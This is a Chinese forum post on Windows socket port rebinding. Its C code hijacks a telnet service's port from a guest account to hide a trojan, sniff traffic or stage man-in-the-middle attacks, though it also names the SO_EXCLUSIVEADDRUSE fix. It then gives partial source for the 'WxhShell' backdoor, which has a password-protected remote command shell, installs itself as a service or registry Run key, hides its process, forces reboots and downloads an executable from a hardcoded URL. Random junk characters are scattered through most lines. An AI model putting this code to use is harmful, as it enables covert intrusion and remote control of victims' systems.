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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: _LJF:E5L  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); H07\z1?.K  
?V6,>e_+  
  saddr.sin_family = AF_INET; `n&:\Ib  
zQ,rw[C"W  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); R4p Pt  
.UP h  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); `7/(sX.  
KF(H >gs  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 c~<;}ve^z  
J&8KIOz14Z  
  这意味着什么?意味着可以进行如下的攻击: -,8LL@_  
+a5F:3$  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 O`Tz^Q /D  
a=2.Y?  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ]}3s/NJi  
\_Bj"K  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 P j   
]BO:*&O  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  RU)(|;  
33oW3vS  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 c}(H*VY2n  
Z- feMM  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ~i|6F~%3  
W3le)&  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Znb={hh  
C]!2   
  #include 8w5}9}xF  
  #include X%yG{\6:  
  #include K1@ Pt}  
  #include    </[.1&S+\  
  DWORD WINAPI ClientThread(LPVOID lpParam);   S=4o@3%$  
  int main() G*9(O:  
  { 2+9VDf2  
  WORD wVersionRequested; jR%*,IeB  
  DWORD ret; ZJ3g,dc  
  WSADATA wsaData; -#ZvjEaey  
  BOOL val; PYCN3s#Gi  
  SOCKADDR_IN saddr; "#*W#ohVA  
  SOCKADDR_IN scaddr; &N^j }^ Z  
  int err; w<(ubR %$  
  SOCKET s; uSfHlN4l  
  SOCKET sc; |N/d }  
  int caddsize; httywa^  
  HANDLE mt; J5{;+ysUMl  
  DWORD tid;    \0)jWCK  
  wVersionRequested = MAKEWORD( 2, 2 ); vhBW1/w&F  
  err = WSAStartup( wVersionRequested, &wsaData ); G^.N$wcv  
  if ( err != 0 ) { DhE-g<  
  printf("error!WSAStartup failed!\n"); b1C)@gl!Z  
  return -1; afrF%!  
  } ?~o`mg  
  saddr.sin_family = AF_INET; Bve|+c6W  
   +p%3pnj:K  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 \]> YLyG  
pwFdfp  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); c {= ; lT  
  saddr.sin_port = htons(23); -`faXFW'  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -PpcFLZ|  
  { oh{>nwH  
  printf("error!socket failed!\n"); 7(84j5zb  
  return -1; ~$y"Ldrp  
  } QP\9#D~  
  val = TRUE; gWr7^u&q@|  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 IAO5li3  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 5_(\Cd<#  
  { `vBBJ@f4)  
  printf("error!setsockopt failed!\n"); 6l\5J6x  
  return -1; rg^\gE6_  
  } &l+Qn'N  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; <&\ng^Z$  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 0q5J)l:  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 c,@Vz 7c  
]^ R':YE  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) z|>TkCW6  
  { 9'*7 ( j;  
  ret=GetLastError(); >M#@vIo?<6  
  printf("error!bind failed!\n"); Y:DopKRD  
  return -1; JvO1tA]ij  
  } :SaZhY  
  listen(s,2); z"4 q%DC  
  while(1) 5Cdn j  
  { v6 5C j2ec  
  caddsize = sizeof(scaddr); 'J?{/O^  
  //接受连接请求 $5XA S  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Cfi4~&  
  if(sc!=INVALID_SOCKET) BdD]HXB|_  
  { X7$]qE K  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); t=Oq<r  
  if(mt==NULL) FtTq*[a  
  { xUn"XkhP  
  printf("Thread Creat Failed!\n"); 'iW  
  break; vbmt0df  
  } iYr)Ao5X  
  } lrE"phYk  
  CloseHandle(mt); =NY;#Jjn  
  } RiTL(Yx  
  closesocket(s); wa@Rlzij>  
  WSACleanup(); !Q>xVlPVu  
  return 0; wh(_<VZ  
  }   KkUK" Vc  
  DWORD WINAPI ClientThread(LPVOID lpParam) :A8r{`R'N  
  { 8c) eaDu  
  SOCKET ss = (SOCKET)lpParam; KtaoOe  
  SOCKET sc; af|h4.A  
  unsigned char buf[4096]; FGn"j@m0  
  SOCKADDR_IN saddr; Sqa9+' [  
  long num; 5qM$ahN3wH  
  DWORD val; $+80V{J#  
  DWORD ret; DzR,ou  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ! yJ0A m>  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   0BXr[%{`  
  saddr.sin_family = AF_INET; eay|>xa2  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Un]wP`  
  saddr.sin_port = htons(23); 6 ) i-S<(  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) K9@.l~n  
  { neU=1socJ  
  printf("error!socket failed!\n"); Y*BmBRN  
  return -1; Jh.~]\u  
  } uUjjAGZ  
  val = 100; J'2 Yrn  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) uqcG3Pi  
  { &MH8~LSb  
  ret = GetLastError(); O\Huj=  
  return -1; byI" ?  
  } TyV~2pc N  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) L!:NL#M  
  { I7_8oq\3D  
  ret = GetLastError(); k<1i.rh  
  return -1; 2{j$1EdI@-  
  } _|\X8o_  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 0f5 ag&  
  { -1 dD~S$  
  printf("error!socket connect failed!\n"); >T;!Z5L1  
  closesocket(sc); &KMI C  
  closesocket(ss); Lyc6nP;F  
  return -1; N)mZ!K44  
  } ?pIELezfK  
  while(1) ` +YtTK  
  { <Z.`X7]Uk  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 JLm3qIC  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Dspvc  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 |-ZML~2S=h  
  num = recv(ss,buf,4096,0); vP,pK=5  
  if(num>0) Zd-qBOB2L  
  send(sc,buf,num,0); 6 5zx<  
  else if(num==0) hr]+ 4!/  
  break; :? )!yI  
  num = recv(sc,buf,4096,0); Un8' P8C  
  if(num>0) (RI)<zaK ;  
  send(ss,buf,num,0); %ap]\o$^4  
  else if(num==0) $*eYiz3Ue  
  break; [C EV&B  
  } 80Y% C-Y:  
  closesocket(ss); Y-})/zFc  
  closesocket(sc); h 8$.mQr  
  return 0 ; U LS>v  
  } B!mHO*g  
J3y _JoS  
uNI&U7_"  
========================================================== Do(G;D`h+_  
'|gsmO  
下边附上一个代码,,WXhSHELL 7l7VT?<:  
&/[MWQ  
========================================================== T"P}`mT  
~U w<e~  
#include "stdafx.h" v FL$wr  
A o* IshVh  
#include <stdio.h> ;#zteqn  
#include <string.h> 4Yvz-aSyO  
#include <windows.h> c9c]1XJ  
#include <winsock2.h> X[Iy6qt  
#include <winsvc.h> zx<t{e7  
#include <urlmon.h> gH7  +#/  
u)h {"pP  
#pragma comment (lib, "Ws2_32.lib") @MibKj>o  
#pragma comment (lib, "urlmon.lib") jS]Saqd  
Xj]9/?B?  
#define MAX_USER   100 // 最大客户端连接数 Zsapu1HoL\  
#define BUF_SOCK   200 // sock buffer lrc%GU):  
#define KEY_BUFF   255 // 输入 buffer 5@l5exuG*m  
#CLjQJ  
#define REBOOT     0   // 重启 s2L]H  
#define SHUTDOWN   1   // 关机 5 v.&|[\k  
A'CD,R+gR  
#define DEF_PORT   5000 // 监听端口 o;wSG81  
PI L)(%X  
#define REG_LEN     16   // 注册表键长度 vFHeGq70j  
#define SVC_LEN     80   // NT服务名长度 `=;}I@]zj)  
r]LP=K1  
// 从dll定义API _886>^b@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); RCfeIHL  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $MvKwQ/  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); D0 k ,8|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); kj2qX9 Ms  
}s?3   
// wxhshell配置信息 @ *Jbp  
struct WSCFG { *[cCY!+Qy  
  int ws_port;         // 监听端口 $|Ol?s  
  char ws_passstr[REG_LEN]; // 口令 ;e_us!Sn  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]4B;M Ym*  
  char ws_regname[REG_LEN]; // 注册表键名 d>#',C#;  
  char ws_svcname[REG_LEN]; // 服务名 fwUvFK1G  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8r>\scS  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 jh z*Y}MX  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #SHJ0+)o  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /*gs]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {QG6ldI  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 CV HKP[-  
i<m) s$u  
}; dSjO 12b  
t0cS.hi  
// default Wxhshell configuration sh,4n{+  
struct WSCFG wscfg={DEF_PORT, RCa1S^.  
    "xuhuanlingzhe", W8`6O2  
    1, hwk] ;6[  
    "Wxhshell", >4bw4 Z1  
    "Wxhshell", X`<z5W] !  
            "WxhShell Service", [pms>TQ2  
    "Wrsky Windows CmdShell Service", _ LgP  
    "Please Input Your Password: ", v@G&";|  
  1, O*+HK1q7  
  "http://www.wrsky.com/wxhshell.exe", /)v+|%U  
  "Wxhshell.exe" vC]r1q.(  
    }; N/lEfy<&g:  
LV9R ]  
// 消息定义模块 [,st: Y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; O_s /BoB@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %gn@B2z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Xqe Qj}2kA  
char *msg_ws_ext="\n\rExit."; cl#XiyK>  
char *msg_ws_end="\n\rQuit."; @Wd (>*"zw  
char *msg_ws_boot="\n\rReboot..."; 5jK|  
char *msg_ws_poff="\n\rShutdown..."; (eb65F@P  
char *msg_ws_down="\n\rSave to "; z( ^?xv  
CUTjRWQ  
char *msg_ws_err="\n\rErr!"; M'|[:I.V  
char *msg_ws_ok="\n\rOK!"; 8MW-JZ  
5o{U$  
char ExeFile[MAX_PATH]; RJ3uu NK7  
int nUser = 0; 8 |= c3Z  
HANDLE handles[MAX_USER]; QDJ#zMxFD  
int OsIsNt; o *U-.&  
B]hRYU  
SERVICE_STATUS       serviceStatus; r]}6iF.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <%^WZ:c  
~%tVb c  
// 函数声明 g_PP 9S_?  
int Install(void); o S{hv:)>  
int Uninstall(void); gs0 jwI  
int DownloadFile(char *sURL, SOCKET wsh); 1Cc91  
int Boot(int flag); |j/Y#.k;{0  
void HideProc(void); Q7`)&^ Hx  
int GetOsVer(void); @) MG&X  
int Wxhshell(SOCKET wsl); jB9~'>JY  
void TalkWithClient(void *cs); S_*Gv O  
int CmdShell(SOCKET sock); rpEIDhHv  
int StartFromService(void); 2T%sHp~qt  
int StartWxhshell(LPSTR lpCmdLine); [ZG>FJDl8  
 3bd`q $  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); RwK6u-u#9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); b&,Z mDJh  
.|DrXJ \c  
// 数据结构和表定义 5m@'( ] j  
SERVICE_TABLE_ENTRY DispatchTable[] = qoT&N,/  
{ hX,RuI  
{wscfg.ws_svcname, NTServiceMain}, ;j~%11  
{NULL, NULL} +p _?ekV\  
}; EBWM8~Nm#  
?t}s3P!Q3w  
// 自我安装 ]) v61B  
int Install(void) r1.zURY  
{ =>o !   
  char svExeFile[MAX_PATH]; v 9G~i  
  HKEY key; 7uUq+dp  
  strcpy(svExeFile,ExeFile); AW_YlS  
i,;a( Sy4  
// 如果是win9x系统,修改注册表设为自启动 SG~HzQ\%  
if(!OsIsNt) { uDcs2^2l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D'moy*E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rkh%[o 9"/  
  RegCloseKey(key); E!WlQr:b$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F&CvqPI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sm?b,T/  
  RegCloseKey(key); M4;M.zxJv  
  return 0; O,+9r_Gh  
    } o3GZcH?  
  } }"RVUYU  
} 4a!%eBhX"K  
else { 6]GHCyo  
rT-.'aQ2t  
// 如果是NT以上系统,安装为系统服务 t0xE&#4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W}7Uh b  
if (schSCManager!=0) a_\7Ho$^  
{ x~m$(LT  
  SC_HANDLE schService = CreateService s LDEa  
  ( u46Z}~xfb  
  schSCManager, >X[:(m'  
  wscfg.ws_svcname, 7[L%j;)bw  
  wscfg.ws_svcdisp, }U9dzU14  
  SERVICE_ALL_ACCESS, <AJRU l  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :|&6x!  
  SERVICE_AUTO_START, 7c%dSs6  
  SERVICE_ERROR_NORMAL, SMd[*9l [  
  svExeFile, ^K8XY@{&  
  NULL, AfZGI'%4[a  
  NULL, 4y4r;[@U  
  NULL, <%|u1cn~!v  
  NULL, +|<bb8%  
  NULL -)&lsFF  
  ); 2=<,#7zlJ  
  if (schService!=0) } nIYNeP?D  
  { !Dc;R+Ir0!  
  CloseServiceHandle(schService); I"8Z'<|/\q  
  CloseServiceHandle(schSCManager); ~rq:I<5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); VWYNq^<AT  
  strcat(svExeFile,wscfg.ws_svcname); e<8KZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { I@Y k &aU  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); B"88 .U}$  
  RegCloseKey(key); iYdg1  
  return 0; :vS/Lzk  
    } SN7_^F  
  } /r&4< @  
  CloseServiceHandle(schSCManager); Q?>*h xzoP  
} 5>H&0> \  
} ::GW  
-IDhK}C&T  
return 1; FyXO @yF  
} 0>;[EFL  
T gLr4Ex  
// 自我卸载 ?!c7Zx,(  
int Uninstall(void) o5+7Lt]  
{ $QT% -9&  
  HKEY key; @C('kUX~!  
A??a:8id^  
if(!OsIsNt) { jCx*{TO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1x sJz^%V  
  RegDeleteValue(key,wscfg.ws_regname); ;<cCT!A  
  RegCloseKey(key); P;X0L{u0H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6%o@!|=I  
  RegDeleteValue(key,wscfg.ws_regname); tp ky  
  RegCloseKey(key); E=bZ4 /  
  return 0; ={p<|8`"  
  } xvWP^Qkb  
} ,WoB)V.{(  
} *uxKI:rB:  
else { }`2+`w%uZ  
jrm^n_6};  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); R(}!gv}s  
if (schSCManager!=0) ;d}n89DXj  
{ Un+-  T  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); w8KxEV=  
  if (schService!=0) QY\'Uu{  
  { `$JOFLa  
  if(DeleteService(schService)!=0) { D-m%eP.  
  CloseServiceHandle(schService); or)fx/%h  
  CloseServiceHandle(schSCManager); 6@d/k.3p  
  return 0; Y'}c$*OkI  
  } :4\_upRE  
  CloseServiceHandle(schService); ]N1,"W}  
  } hbx+*KM  
  CloseServiceHandle(schSCManager); B>"-8#B[4  
} :^x,>( a  
} K)\D,5X^  
d(5j#?  
return 1;  ?f5||^7  
} .Rb4zLYL*w  
AO7X-,  
// 从指定url下载文件 7 lq$PsC  
int DownloadFile(char *sURL, SOCKET wsh) J|z' <W  
{ ?Qpi(Czbpq  
  HRESULT hr; %yR 80mn8  
char seps[]= "/"; YR)^F|G  
char *token; :X1Y  
char *file; N>@.(f&w  
char myURL[MAX_PATH]; vMJC  
char myFILE[MAX_PATH]; $ M|vIw{#  
Aq$o&t  
strcpy(myURL,sURL); [2 Rz8e^  
  token=strtok(myURL,seps); "/hLZl  
  while(token!=NULL) MGo`j:0  
  { 0 zjGL7  
    file=token; R^K:hKQ  
  token=strtok(NULL,seps); UyMlk  
  } '?$< k@mJW  
I wu^@  
GetCurrentDirectory(MAX_PATH,myFILE); |g\CS4$  
strcat(myFILE, "\\"); K=P LOC5  
strcat(myFILE, file); Ml_!)b  
  send(wsh,myFILE,strlen(myFILE),0); "x3!F&  
send(wsh,"...",3,0); ?J"Y4,{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `K2vG`c  
  if(hr==S_OK) 1-G-p:|  
return 0; uBaGOW|Pl  
else grDz7\i:  
return 1; z-nV!#  
/DSy/p0%  
} JgldC[|7  
+J !1z  
// 系统电源模块 A<[w'"  
int Boot(int flag) <.@w%rvG  
{ 7P52r  
  HANDLE hToken; 'f.5hX(Y  
  TOKEN_PRIVILEGES tkp; H_%ae' W  
<9Ytv|t@0  
  if(OsIsNt) { JNA_*3 '  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;|CG9|p  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <@v|~ AO4~  
    tkp.PrivilegeCount = 1; b]WvKdq  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; r+MqjdXG  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :O*62olC5  
if(flag==REBOOT) { Tz/[P:O3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7{[i)  
  return 0; .R@euIva  
} FJB /tg  
else { ~HBx5Cpi  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %bhFl,tL  
  return 0; Z1DF)  
} &Qv%~dvW  
  } sDy~<$l?  
  else { cdfnM%`>\  
if(flag==REBOOT) { SsIN@  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) mZ#IP  
  return 0; NV3oJ0f&2  
} 2u} ns8wn  
else { ^cojETOv  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /5:qS\Zl  
  return 0; @])}+4D(S  
} 35SL*zS@-  
} 'G3|PA7v  
CDFkH  
return 1; p?+;[!:  
} }An;)!>(nF  
0h"uJco,  
// win9x进程隐藏模块 .1""U ']  
void HideProc(void) i# Fe`Z ~J  
{ ]=%u\~AvL  
Lor__ K  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /.m}y$@GV  
  if ( hKernel != NULL ) `Jl_'P}  
  { StMvz~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )B Xl|V,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5R#:ALwX:  
    FreeLibrary(hKernel); No w2ad&  
  } I]N!cEr;@-  
dcN4N5r  
return; pR~"p#Y  
} 2ZQ|nwb7  
{ *Wc`ZBY  
// 获取操作系统版本 d#HN '(2t  
int GetOsVer(void) JU-eoB}m  
{ bg,VK1  
  OSVERSIONINFO winfo; $/P\@|MqYQ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8EZ,hY^  
  GetVersionEx(&winfo); 9CHn6 v ~)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) P6 mDwR  
  return 1;  W o$UV  
  else G)7J$4R  
  return 0; hmtDw,j  
} ! 9=Y(rb  
6E:5w9_=c  
// 客户端句柄模块 r Ww.(l  
int Wxhshell(SOCKET wsl) 7, :l\t  
{ :N:e3$c  
  SOCKET wsh; BKW%/y"  
  struct sockaddr_in client; S L~5[f  
  DWORD myID; 8)&J oPN  
!Y]%U @4}  
  while(nUser<MAX_USER) ._}Dqg$  
{ M0uC0\' #P  
  int nSize=sizeof(client); KKJa?e`C  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~ouRDO  
  if(wsh==INVALID_SOCKET) return 1; lKy4Nry9  
1?#Wg>7'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); X\]Dx./  
if(handles[nUser]==0) qk\LfRbj  
  closesocket(wsh); Z+! 96LR  
else -<gQ>`(0  
  nUser++; x!9bvQT  
  } ut9R] 01:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ZvW&%*k=  
l)91v"vJ  
  return 0; VV=6v;u`  
} ]hA]o7 k  
;5}y7#4C  
// 关闭 socket R~XNF/QMl  
void CloseIt(SOCKET wsh) I$Fr8R$  
{ K|{&SU_m  
closesocket(wsh); q|R$A8)L.  
nUser--; \W})Z72  
ExitThread(0); 3a6  
} Z`bo1,6>  
%v1*D^))  
// 客户端请求句柄 *XqS~G  
void TalkWithClient(void *cs) %Wb$qpa  
{ / , .rUn1  
x\6i(k-  
  SOCKET wsh=(SOCKET)cs; ^VlPnx8y=  
  char pwd[SVC_LEN]; ("j*!Dsd  
  char cmd[KEY_BUFF]; [fXC ;c1  
char chr[1]; #Xd#Nc j  
int i,j; =`BPGfC b  
Ix|^c268o<  
  while (nUser < MAX_USER) { pB0Do6+{  
Qx !! Ttd{  
if(wscfg.ws_passstr) { jQ\/R~)O  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I K Dh)Zm  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i]n ?zWo_h  
  //ZeroMemory(pwd,KEY_BUFF); . aqP=  
      i=0; =J&aN1Hgt  
  while(i<SVC_LEN) { bR? $a+a)  
vke]VXU9z  
  // 设置超时 uB uwE6  
  fd_set FdRead; 9IG3zMf  
  struct timeval TimeOut; .(8eWc YK  
  FD_ZERO(&FdRead); l j*J|%~  
  FD_SET(wsh,&FdRead); _<G%  
  TimeOut.tv_sec=8; Y@M l}43  
  TimeOut.tv_usec=0; p` LPO  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); cK+y3`.0  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); r=pb7=M#LN  
@V# wYt  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lIF*$#`oh*  
  pwd=chr[0]; {uMqd-Uu  
  if(chr[0]==0xd || chr[0]==0xa) { f@= lK?Pfh  
  pwd=0; IpMZ{kJlv`  
  break; _79 ?,U]  
  } Y=N; Bj  
  i++;  <E&"]  
    } k34!*(`q  
qfzT8-Y  
  // 如果是非法用户,关闭 socket db.E-@W.OI  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); s|=.L&"   
} =D~RIt/D  
C:d$   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #NLLl EE  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jo8;S?+<|?  
y[@<goT  
while(1) { k/ ZuFTN  
9d!}]+"d42  
  ZeroMemory(cmd,KEY_BUFF); -a$7b;gF  
5&*B2ZBzH  
      // 自动支持客户端 telnet标准   6M758K6v  
  j=0; zE NlL  
  while(j<KEY_BUFF) { |K6hY-uC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H/6GD,0  
  cmd[j]=chr[0]; pu*vFwZ  
  if(chr[0]==0xa || chr[0]==0xd) { Y4|g^>{<ni  
  cmd[j]=0; qP0_#l&  
  break; g"Z X1X  
  } +~A<&7[}  
  j++; QWBQ 0#L  
    } p;rG aLo:u  
{1ic* cZS  
  // 下载文件 +vtI1LC;_  
  if(strstr(cmd,"http://")) { )pXw 3Fo  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); /y"Y o  
  if(DownloadFile(cmd,wsh)) ihJC)m`Hbl  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); y 3O Nn~k  
  else #dgWXO  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D%Y{(l+X  
  } z3[0BWXs  
  else { -f-2!1&<3h  
NK@G0p~O  
    switch(cmd[0]) { &`'gO 9  
  O$=)  
  // 帮助 mJ|7Jc  
  case '?': { 8\^[@9g3\3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =Gq 'sy:h  
    break; k(;c<Z{?1  
  } ^f,('0p- >  
  // 安装 XHlx89v7  
  case 'i': { +$+'|w  
    if(Install()) n'#(iW)f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  ,JcQp=g  
    else 1!E+(Iq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hFjXgpz5  
    break; Tx7YHE6{  
    } t*)-p:29h  
  // 卸载 1+^L,-k!  
  case 'r': { Xx0}KJ q~"  
    if(Uninstall()) _;B N;].  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4JHFn [%  
    else oIM]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ya'@AJS  
    break; /N ^%=G#  
    } Dn?P~%  
  // 显示 wxhshell 所在路径 $W8  
  case 'p': { G1"=}Wt`  
    char svExeFile[MAX_PATH]; D>O{>;y[  
    strcpy(svExeFile,"\n\r"); uv2!][  
      strcat(svExeFile,ExeFile); I^{PnrB  
        send(wsh,svExeFile,strlen(svExeFile),0); p5~;8Q7  
    break; swVq%]')"  
    } 96Tc:#9i  
  // 重启 Dc[Qu? ]LM  
  case 'b': { mdOF0b%-]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 'H`_Z e<  
    if(Boot(REBOOT)) S`"M;%T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U jC$Mi`O  
    else { BV&}(9z  
    closesocket(wsh); LTY@}o]\U  
    ExitThread(0); Nky%v+r  
    } E$FXs~a  
    break; `oh'rm3'8  
    } -NVk>ENL4  
  // 关机 T!hU37g h?  
  case 'd': { 2 f]9I1{  
